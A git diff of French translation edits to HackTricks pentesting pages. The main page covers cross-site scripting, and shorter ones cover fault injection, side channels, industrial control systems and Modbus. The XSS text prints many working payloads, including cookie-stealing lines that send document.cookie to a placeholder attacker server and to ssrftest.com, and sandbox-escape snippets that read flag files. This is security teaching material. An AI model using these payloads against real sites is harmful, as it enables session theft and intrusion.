|
||||
Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
|
||||
@ -37,11 +37,11 @@ debugging-client-side-js.md
|
||||
|
||||
## Valeurs réfléchies
|
||||
|
||||
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.
|
||||
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** sur la page web.
|
||||
|
||||
- **Réfléchi de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
|
||||
- **Stocké et réfléchi** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
|
||||
- **Accédé via JS** : Si vous constatez qu'une valeur contrôlée par vous est accessible en utilisant JS, vous pourriez exploiter un **DOM XSS**.
|
||||
- **Réfléchie de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi sur la page web, vous pourriez exploiter un **XSS Réfléchi**.
|
||||
- **Stockée et réfléchie** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
|
||||
- **Accédée via JS** : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **DOM XSS**.
|
||||
|
||||
## Contextes
|
||||
|
||||
@ -50,7 +50,7 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
|
||||
### HTML brut
|
||||
|
||||
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
De plus, gardez à l'esprit [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### À l'intérieur des attributs de balises HTML
|
||||
|
||||
@ -59,7 +59,7 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
|
||||
1. D'**échapper de l'attribut et de la balise** (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises inexploitable**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
|
||||
```html
|
||||
@ -77,7 +77,7 @@ Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si elle est reflétée à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- L'**encodage Unicode** fonctionne pour écrire **du code javascript valide** :
|
||||
- **L'encodage Unicode** fonctionne pour écrire **du code javascript valide** :
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -155,7 +155,7 @@ Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez é
|
||||
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
|
||||
|
||||
Dans ce cas et si aucun filtrage par liste noire ou liste blanche n'est utilisé, vous pourriez utiliser des charges utiles comme :
|
||||
Dans ce cas et si aucun filtrage par liste noire/liste blanche n'est utilisé, vous pourriez utiliser des charges utiles comme :
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -241,7 +241,7 @@ Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https:/
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si pour exploiter la vulnérabilité vous avez besoin que l'**utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**profiter du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
|
||||
Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**profiter du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
@ -251,8 +251,8 @@ Si vous pensez juste que **c'est impossible de créer une balise HTML avec un at
|
||||
|
||||
### À l'intérieur de la balise/échapper de la valeur de l'attribut
|
||||
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est d'**échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **vous échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -269,12 +269,12 @@ Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouvea
|
||||
```
|
||||
### Dans l'attribut
|
||||
|
||||
Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
|
||||
|
||||
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Retour </a>`
|
||||
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Retour </a>`
|
||||
|
||||
Notez que **tout type d'encodage HTML est valide** :
|
||||
```javascript
|
||||
@ -353,7 +353,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
De plus, il existe une **jolie astuce** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
De plus, il existe une **jolie astuce** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -379,7 +379,7 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank"` et `rel="opener"`**, vérifiez la **page suivante pour exploiter ce comportement** :
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire contenant les attributs **`target="_blank"` et `rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -403,7 +403,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS dans les "tags inexploitable" (input caché, lien, canonique, méta)
|
||||
### XSS dans "Tags inexploitable" (input caché, lien, canonique, meta)
|
||||
|
||||
Depuis [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des inputs cachés avec :**
|
||||
```html
|
||||
@ -424,7 +424,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -478,7 +478,7 @@ Si votre code est inséré dans `<script> [...] var input = 'données réfléchi
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Notez que dans cet exemple, nous **n'avons même pas fermé la quote simple**. Cela est dû au fait que **l'analyse HTML est effectuée en premier par le navigateur**, ce qui implique d'identifier les éléments de la page, y compris les blocs de script. L'analyse de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
|
||||
Notez que dans cet exemple, nous **n'avons même pas fermé l'apostrophe**. Cela est dû au fait que **le parsing HTML est effectué en premier par le navigateur**, ce qui implique l'identification des éléments de la page, y compris les blocs de script. Le parsing de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectué qu'ensuite.
|
||||
|
||||
### À l'intérieur du code JS
|
||||
|
||||
@ -490,7 +490,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également des **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également des **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant :
|
||||
@ -556,7 +556,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Commentaires JavaScript (provenant de** [**Commentaires JavaScript**](#javascript-comments) **astuce)**
|
||||
**Commentaires JavaScript (du** [**truc Commentaires JavaScript**](#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -564,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Nouveaux lignes JavaScript (à partir de** [**truc de nouvelle ligne JavaScript**](#javascript-new-lines) **)**
|
||||
**Sauts de ligne JavaScript (à partir de** [**truc de saut de ligne JavaScript**](#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -755,7 +755,7 @@ De plus, n'oubliez pas qu'**à la fin du post mentionné**, vous pouvez trouver
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Si vous pouvez déclencher un XSS en envoyant la charge utile à l'intérieur d'un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez abuser de ce XSS pour injecter un cookie dans tout le domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
|
||||
Si vous pouvez déclencher un XSS en envoyant la charge utile à l'intérieur d'un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez abuser de ce XSS pour injecter un cookie dans l'ensemble du domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -785,7 +785,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -867,7 +867,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Types de script pour XSS
|
||||
|
||||
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script ?
|
||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script ?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
@ -921,7 +921,7 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
|
||||
```
|
||||
### Types de contenu Web pour XSS
|
||||
|
||||
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -956,9 +956,9 @@ Par exemple, dans [**ce rapport**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### Évasion des XS Jails
|
||||
### Évasion des Prisons XS
|
||||
|
||||
Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
|
||||
Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes XSJail :
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -989,7 +989,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**ce rapport**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
|
||||
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cet article**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
|
||||
|
||||
- En utilisant import()
|
||||
```javascript
|
||||
@ -998,7 +998,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accéder à `require` indirectement
|
||||
|
||||
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont encapsulés par Node.js dans une fonction, comme ceci :
|
||||
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont encapsulés par Node.js dans une fonction, comme ceci :
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1248,7 +1248,7 @@ Faire en sorte que l'utilisateur navigue sur la page sans quitter un iframe et v
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### Récupérer les Cookies
|
||||
### Récupérer des Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1271,7 +1271,7 @@ Faire en sorte que l'utilisateur navigue sur la page sans quitter un iframe et v
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez la chance.
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [quelques moyens de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez de la chance.
|
||||
|
||||
### Voler le contenu de la page
|
||||
```javascript
|
||||
@ -1362,7 +1362,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Courts courtes indiquent un port répondant_ _Courts plus longs indiquent aucune réponse._
|
||||
_Courts courtes indiquent un port répondant_ _Des temps plus longs indiquent aucune réponse._
|
||||
|
||||
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1529,7 +1529,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
|
||||
### XSS dans Markdown
|
||||
|
||||
Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
@ -1547,7 +1547,7 @@ Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-inj
|
||||
### XSS dans un PDF créé dynamiquement
|
||||
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
|
||||
Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS serveur**.
|
||||
Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va **les interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS serveur**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1563,11 +1563,11 @@ pdf-injection.md
|
||||
|
||||
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, incorpore des tags HTML complétés par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir directement avec le contenu dans leurs e-mails.
|
||||
|
||||
Exemple [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS téléchargement de fichiers (svg)
|
||||
### XSS en téléchargeant des fichiers (svg)
|
||||
|
||||
Téléchargez en tant qu'image un fichier comme celui-ci (provenant de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
|
||||
@ -1,9 +1,9 @@
|
||||
# Attaques par injection de fautes
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Les attaques par injection de fautes consistent à introduire des perturbations externes dans des circuits électroniques pour influencer leur comportement, ce qui peut entraîner la divulgation d'informations ou même contourner certaines restrictions dans le circuit. Ces attaques ouvrent de nombreuses possibilités pour attaquer des circuits électroniques. Cette attaque est également appelée glitching des circuits électroniques.
|
||||
|
||||
Il existe de nombreuses méthodes et moyens pour injecter des fautes dans un circuit électronique.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
# Attaques par Analyse de Canal Latéral
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Les attaques par Analyse de Canal Latéral se réfèrent à la détermination des informations d'un appareil ou d'une entité par un autre canal ou source qui a une influence indirecte sur celui-ci et dont les informations peuvent en être extraites. Cela peut être mieux expliqué par un exemple :
|
||||
|
||||
Analyser les vibrations dans des feuilles de verre proches de la source sonore, mais la source sonore n'est pas accessible. Les vibrations dans le verre sont influencées par la source sonore et, si elles sont surveillées et analysées, le son peut être décodé et interprété.
|
||||
|
||||
Ces attaques sont très populaires en cas de fuite de données telles que des clés privées ou pour trouver des opérations dans les processeurs. Un circuit électronique a beaucoup de canaux par lesquels des informations sont constamment divulguées. La surveillance et l'analyse peuvent être utiles pour révéler beaucoup d'informations sur le circuit et ses composants internes.
|
||||
Ces attaques sont très populaires en cas de fuite de données telles que des clés privées ou pour trouver des opérations dans les processeurs. Un circuit électronique a beaucoup de canaux par lesquels les informations sont constamment divulguées. La surveillance et l'analyse peuvent être utiles pour révéler beaucoup d'informations sur le circuit et ses composants internes.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Hacking des Systèmes de Contrôle Industriels
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## À Propos de Cette Section
|
||||
|
||||
@ -10,10 +10,10 @@ Les Systèmes de Contrôle Industriels sont partout, car les industries sont vit
|
||||
|
||||
Il est devenu important de sécuriser ces systèmes, car les endommager peut coûter cher et même des vies dans le pire des cas. Pour comprendre la sécurité des Systèmes de Contrôle Industriels, il est nécessaire de connaître leurs internes.
|
||||
|
||||
Étant donné que les Systèmes de Contrôle Industriels sont installés selon des normes établies, connaître chaque composant aiderait à interconnecter tous les autres mécanismes dans le système de contrôle. L'installation de ces dispositifs comme les PLC et les systèmes SCADA est différente dans diverses industries, donc la collecte d'informations est critique.
|
||||
Étant donné que les Systèmes de Contrôle Industriels sont installés selon des normes établies, connaître chaque composant aiderait à interconnecter tous les autres mécanismes dans le système de contrôle. L'installation de ces dispositifs comme les PLC et les systèmes SCADA est différente dans diverses industries, d'où l'importance de la collecte d'informations.
|
||||
|
||||
Les Systèmes de Contrôle Industriels peuvent être compliqués par moments et nécessitent donc beaucoup de patience pour faire quoi que ce soit. Tout est une question de sondage et de reconnaissance avant de planifier des attaques et de développer des exploits.
|
||||
Les Systèmes de Contrôle Industriels peuvent parfois être compliqués et nécessitent donc beaucoup de patience pour faire quoi que ce soit. Tout est une question de sondage et de reconnaissance avant de planifier des attaques et de développer des exploits.
|
||||
|
||||
Ces techniques peuvent également être utilisées pour se protéger contre les attaques et le blue teaming pour les systèmes de contrôle industriels.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,16 +1,16 @@
|
||||
# Le protocole Modbus
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction au protocole Modbus
|
||||
|
||||
Le protocole Modbus est un protocole largement utilisé dans l'automatisation industrielle et les systèmes de contrôle. Modbus permet la communication entre divers dispositifs tels que les contrôleurs logiques programmables (PLC), les capteurs, les actionneurs et d'autres dispositifs industriels. Comprendre le protocole Modbus est essentiel car c'est le protocole de communication le plus utilisé dans les ICS et il présente une grande surface d'attaque potentielle pour l'écoute et même l'injection de commandes dans les PLC.
|
||||
|
||||
Ici, les concepts sont énoncés point par point, fournissant le contexte du protocole et sa nature de fonctionnement. Le plus grand défi en matière de sécurité des systèmes ICS est le coût de mise en œuvre et de mise à niveau. Ces protocoles et normes ont été conçus au début des années 80 et 90, et sont encore largement utilisés. Étant donné qu'une industrie possède de nombreux dispositifs et connexions, la mise à niveau des dispositifs est très difficile, ce qui donne aux hackers un avantage en matière de gestion des protocoles obsolètes. Les attaques sur Modbus sont pratiquement inévitables, car il sera utilisé sans mise à niveau, son fonctionnement étant critique pour l'industrie.
|
||||
Ici, les concepts sont énoncés point par point, fournissant le contexte du protocole et sa nature de fonctionnement. Le plus grand défi en matière de sécurité des systèmes ICS est le coût de mise en œuvre et de mise à niveau. Ces protocoles et normes ont été conçus au début des années 80 et 90, et sont encore largement utilisés. Étant donné qu'une industrie dispose de nombreux dispositifs et connexions, la mise à niveau des dispositifs est très difficile, ce qui donne aux hackers un avantage en matière de gestion de protocoles obsolètes. Les attaques sur Modbus sont pratiquement inévitables, car il sera utilisé sans mise à niveau, son fonctionnement étant critique pour l'industrie.
